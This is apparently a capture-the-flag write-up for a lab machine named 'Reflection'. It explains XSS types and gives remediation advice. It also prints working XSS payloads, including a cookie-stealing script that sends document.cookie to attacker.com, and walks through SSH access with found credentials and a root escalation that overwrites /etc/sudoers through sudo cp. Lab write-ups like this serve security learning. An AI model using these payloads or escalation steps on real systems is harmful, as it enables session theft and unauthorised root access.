Reflection
Initial Port Scan
export TARGET_IP={target_ip_address}
sudo nmap -Pn -sS -p- $TARGET_IP
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Reflected XSS vs. Stored XSS
Feature | Reflected XSS | Stored XSS (Persistent XSS) |
---|---|---|
Delivery | Malicious script is embedded in a URL, often sent directly to the victim via email, social media, or other means. | Malicious script is injected into a website's data store (e.g., database) via a form or other input field. |
Target | The victim must click the specifically crafted malicious URL for the script to execute in their browser. | Any user who visits the affected page will execute the malicious script, as it's served directly from the website's data. |
Persistence | Not persistent. The script is only executed when the victim clicks the malicious link. The website itself does not store the malicious code. | Persistent. The malicious script is stored on the vulnerable website and is executed whenever a user accesses the compromised page or data. |
URL Role | The URL is the primary vector for delivering the malicious script to the victim's browser. | URLs are not directly involved in the initial delivery of the malicious script. The script is stored on the website itself. |
Scope | Typically affects only the individual who clicks the malicious link. | Can affect many users or all users who visit the page where the malicious script is stored. |
Real-Life Scenarios
-
Reflected XSS:
- Scenario: An attacker crafts a URL that looks like it's from a legitimate online store, but it contains a hidden script that steals login cookies. They send this link in a phishing email disguised as a "special offer." When a victim clicks the link, the script runs in their browser, sending their cookies to the attacker. The attacker can then use these cookies to impersonate the victim on the online store.
- Example: A shortened URL shared on social media that appears to go to a news article but actually contains a script that redirects the user to a fake login page.
-
Stored XSS:
- Scenario: A forum website allows users to post comments. An attacker submits a comment that contains a hidden script that displays an
alert()
box with their username. This comment (including the script) is stored in the forum's database. Now, every time any user views that forum thread, their browser will execute the attacker's script, showing the alert box. - Example: A social media profile that allows users to enter a "bio" section. An attacker puts a script in their bio that redirects visitors to a malicious website. Anyone who views the attacker's profile will be redirected. The attacker does not need to do anything else, like sending links.
- Scenario: A forum website allows users to post comments. An attacker submits a comment that contains a hidden script that displays an
Lab 1: Reflected XSS
The lab presents a form where we can enter a search query. The goal is to inject an XSS payload that will be reflected back to us on the same page.
I tried <script>alert('XSS')</script>
but does not work. Some security mechanism from the browser must be blocking this(?).
But this works:
<h1 onmouseover="alert('XSS')">Test</h1>
<img src="x" onerror="alert('XSS')">
<h1 onmouseover="console.log('XSS')">Test</h1>
<img src="x" onerror="console.log('XSS')">
<svg onload=console.log('XSS')>
// Experiment with different event handlers like onmouseover, onclick, onerror, onload, etc.
After submitting these payloads, if an alert box or console log with the text 'XSS' pops up, it confirms the presence of a reflected XSS vulnerability.
Useful Applications
- Stealing cookies:
<script>document.location='http://attacker.com/cookie.php?c='+document.cookie</script>
(This sends the victim's cookies to the attacker's server.) - Redirecting to a malicious site:
<script>window.location.replace('http://malicious-site.com')</script>
- Keylogging: Injecting a script that captures keystrokes and sends them to the attacker.
Remediation
To prevent reflected XSS vulnerabilities, it is crucial to properly sanitize user input before reflecting it back to the browser. Common methods include:
- Output Encoding: Encode special characters that have meaning in HTML (e.g.,
<
,>
,&
,"
,'
) into their respective HTML entities (e.g.,<
,>
,&
,"
,'
). - Input Validation: Implement strict input validation to ensure that only expected data is accepted. For example, if the input should only contain alphanumeric characters, reject any input that contains other characters.
- Using a Content Security Policy (CSP): CSP can restrict the sources from which scripts can be executed, limiting the impact of an XSS attack.
Lab 2: Stored XSS
Lab 2 is kinda the same, the important part here is understanding the difference between both in theory.
Lab 3: XSS with dropdowns
This third lab pretends you to use Burp Suite or other tool. Most of us would just modify the URL. But let's use Burp Suite.
Open Burp Suite -> Proxy Tab -> Open Browser -> Go to http://172.17.0.2/laboratorio3/ -> In Proxy Tab turn Intercept ON -> Complete the web form -> Forward Request -> Go to HTTP History -> Send the request to the Repeater -> Modify the request like this:
GET /laboratorio3/?opcion1=<h1+onmouseover%3d"alert('XSS')">Test</h1>&opcion2=ValorY&opcion3=Opcion3 HTTP/1.1
Host: 172.17.0.2
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.17.0.2/laboratorio3/?opcion1=ValorA&opcion2=ValorY&opcion3=Opcion3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Note I encoded the <h1 onmouseover="alert('XSS')">Test</h1>
to <h1+onmouseover%3d"alert('XSS')">Test</h1>
by selecting that text -> right click -> Convert selection -> URL -> URL-encode key characters (Ctrl+U
). In Response tab, at the right, click render and you will see the page with the h1
HTML tag rendered confirming the vulnerability. Anyways if you put your mouse over it wont work. You must try in the browser to activate the dynamic script.
Lab 4: XSS Based on GET Parameters
Here just modify the URL, like:
http://172.17.0.2/laboratorio4/?data=%3Cimg%20src=%27x%27%20onerror=%27alert(%22XSS%22)%27%3E
It is encoded but you can send it without the encoding and the browser will do it for you ?data=<img src='x' onerror='alert("XSS")'>
, by doing it from the browser.
DOM-Based XSS
The primary distinction of DOM-Based XSS is that the vulnerability exists entirely within the client-side JavaScript code and does not necessarily involve the server's response. Here's a breakdown:
Feature | Reflected XSS | Stored XSS | DOM-Based XSS |
---|---|---|---|
Vulnerability Location | Server-side code that reflects user input in the response. | Server-side code that stores user input in a database/file without proper sanitization and displays it later in the page. | Client-side JavaScript code that directly uses user-controlled data (typically via document.location ) to modify the DOM. |
Data Flow | User input -> Web Server -> HTTP Response (with the unescaped user input) -> Browser | User input -> Web Server (stores in database) -> Web Server -> HTTP Response -> Browser | User input (typically in document.location or similar) -> Client-side JavaScript -> DOM |
Server Involvement | Server is involved in reflecting user input in the response. | Server is involved by storing and retrieving unescaped user input. | The server is often not directly involved in the vulnerability. The server serves the initial HTML and JavaScript, but the vulnerability is exploited entirely client side. |
Persistence | Not persistent. The vulnerability only exists in the context of the specific malicious URL. | Persistent. The vulnerability affects all users who view the page with the stored malicious content. | Usually not persistent. It requires the victim to load a specific crafted URL or perform a specific action. It exists only within the execution of the page in the browser, not in the database. |
URL Role | URLs are the primary vector for delivering the malicious payload. | URLs are not involved in delivering the payload, the malicious script is stored on the website. | The URL (or other client-side data source) can sometimes be used to deliver the attack, but only to the client, not the server. |
Real-Life Scenarios
- Reflected XSS: (as explained before)
- Scenario: Malicious URL is sent via email or social media. When victim clicks, a server reflects the script.
- Stored XSS: (as explained before)
- Scenario: Attacker inserts script into a forum that then is seen by all users.
- DOM-Based XSS:
- Scenario: A website's JavaScript code uses the
document.location.hash
(the part of the URL after the#
symbol, also known as a fragment identifier) to set theinnerHTML
of an element. An attacker crafts a URL with malicious JavaScript within the hash, such ashttp://example.com/page#<img src="x" onerror="alert(1)">
. The server never sees this. The JavaScript in the page reads this hash, and sets the inner HTML, leading to the code execution in the browser DOM. - Scenario: A single-page application that parses parameters from the URL using
window.location.search
and uses those values to dynamically update the page. An attacker creates a crafted URL with malicious code and sends the link to a victim. The application itself takes that URL and the malicious code stored inside the URL is executed.
- Scenario: A website's JavaScript code uses the
Key Differences Explained Further
-
Server vs. Client:
- Reflected and Stored XSS fundamentally rely on a vulnerability in server-side logic that improperly handles user input. The server is the source of the problem, passing malicious data into the browser.
- DOM-Based XSS exploits flaws in client-side JavaScript, where user-controlled data is processed within the browser without proper sanitization. The server is not directly the source of the issue, as it's the browser executing the javascript that causes the vulnerability.
-
URL as a Vehicle:
- Reflected XSS: The URL is the primary attack vector. The malicious script is in the URL.
- DOM-Based XSS: The URL may be the attack vehicle, but the actual execution happens inside of the client-side code, parsing the URL value through javascript.
- Stored XSS: URL is not the attack vector, the attacker injects the payload through forms.
Examples
-
DOM-Based XSS vulnerable code:
// Example 1: using location.hash
var userInput = document.location.hash.substring(1); // Gets the value after the '#'
document.getElementById("outputDiv").innerHTML = userInput; // Insecurely updates the DOM<!-- Example 2: using url parameters -->
<script>
const urlParams = new URLSearchParams(window.location.search);
const myParam = urlParams.get('myParam');
document.getElementById('myDiv').innerHTML = myParam;
</script>An attacker could exploit this by crafting a URL like
http://example.com/page#<img src="x" onerror="console.log('DOMXSS')">
(orhttp://example.com/page?myParam=<img src="x" onerror="console.log('DOMXSS')">
)- The server serves a page with this Javascript in it. The server is not the problem here.
- The JavaScript code reads the part after the
#
sign (or the parameter) and then injects the content directly to the page. - The vulnerability is entirely on the client-side code parsing that part of the URL
-
Reflected XSS vulnerable code:
<?php
$userInput = $_GET["input"];
echo "<div id='outputDiv'>" . $userInput . "</div>"
?>- The server parses the GET parameter and returns it as HTML.
- The server is vulnerable and sends the unescaped HTML back to the browser.
SSH Access and Privilege Escalation
The initial nmap scan revealed that port 22 (SSH) was open. I successfully logged in as the balu
user using the credentials obtained earlier:
ssh balu@$TARGET_IP # password: balulero
Once inside, I discovered a file named /secret.bak
containing another set of credentials:
cat /secret.bak
# Output: balulito:balulerochingon
I then switched to the balulito
user:
su balulito # password: balulerochingon
Identifying Privilege Escalation Opportunity
Using sudo -l
, I examined the sudo
privileges granted to the balulito
user:
sudo -l
Output:
Matching Defaults entries for balulito on ad7d60fe5b46:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User balulito may run the following commands on ad7d60fe5b46:
(ALL) NOPASSWD: /bin/cp
This output reveals that the balulito
user can execute the /bin/cp
command as root (ALL
) without requiring a password (NOPASSWD
).
Exploiting /bin/cp
for Privilege Escalation
The cp
command, when run with elevated privileges, can be leveraged to read and write files owned by any user, including root. We can exploit this to gain root access.
GTFOBins Explanation:
GTFOBins (https://gtfobins.github.io/gtfobins/cp/) is a valuable resource that provides a curated list of Unix binaries that can be used to bypass local security restrictions. For cp
, GTFOBins outlines several methods for privilege escalation, including:
- File Read: Reading arbitrary files.
- File Write: Writing data to arbitrary files.
- SUID Abuse: If
cp
had the SUID bit set (which is not the case here), it could be abused directly. - Sudo Abuse: Exploiting
sudo
rules that allow runningcp
as root.
Chosen Exploitation Method:
Since we can run cp
as sudo
without a password, the most straightforward method is to overwrite the /etc/sudoers
file, granting the balulito
user full sudo
privileges. This is also one of the examples of Sudo Abuse described in GTFOBins.
Non-Refined Steps
-
Create a Malicious
/etc/sudoers
File:- I will create a temporary file containing a modified
/etc/sudoers
entry that grantsbalulito
ALL privileges.
echo "balulito ALL=(ALL:ALL) ALL" >> /tmp/sudoers_exploit
- I will create a temporary file containing a modified
-
Overwrite the Original
/etc/sudoers
:- Using
sudo cp
, I will overwrite the original/etc/sudoers
file with the malicious version, taking into account that the file we want to write to is/etc/sudoers
.
sudo cp /tmp/sudoers_exploit /etc/sudoers
- Using
-
Verify and Gain Root:
- After successfully overwriting the file, the
balulito
user will have fullsudo
privileges.
sudo su
- After successfully overwriting the file, the
Modifying /etc/sudoers
incorrectly can lock you out of the system. It is crucial to ensure the syntax of the modified file is correct.
Refined Steps
-
Create a Temporary Copy of
/etc/sudoers
:sudo cp /etc/sudoers /tmp/sudoers_temp
-
Append the New User Privileges to the Temporary File:
echo "balulito ALL=(ALL:ALL) ALL" >> /tmp/sudoers_temp
Now, the new privileges are appended to the existing content of
/etc/sudoers
. -
Overwrite the Original
/etc/sudoers
:sudo cp /tmp/sudoers_temp /etc/sudoers
-
Verify and Gain Root:
sudo su
Why This Approach Is Better:
- Preserves Existing Configuration: It avoids accidentally wiping out important existing
sudoers
rules. - Reduced Risk of Syntax Errors: Appending the new line is less prone to accidental typos than recreating the whole file from scratch.
- Cleaner and More Maintainable: It's easier to understand what modifications are being made.
- Less Risky in General: Since the original sudoers file is preserved, there's less risk of creating an unrecoverable system.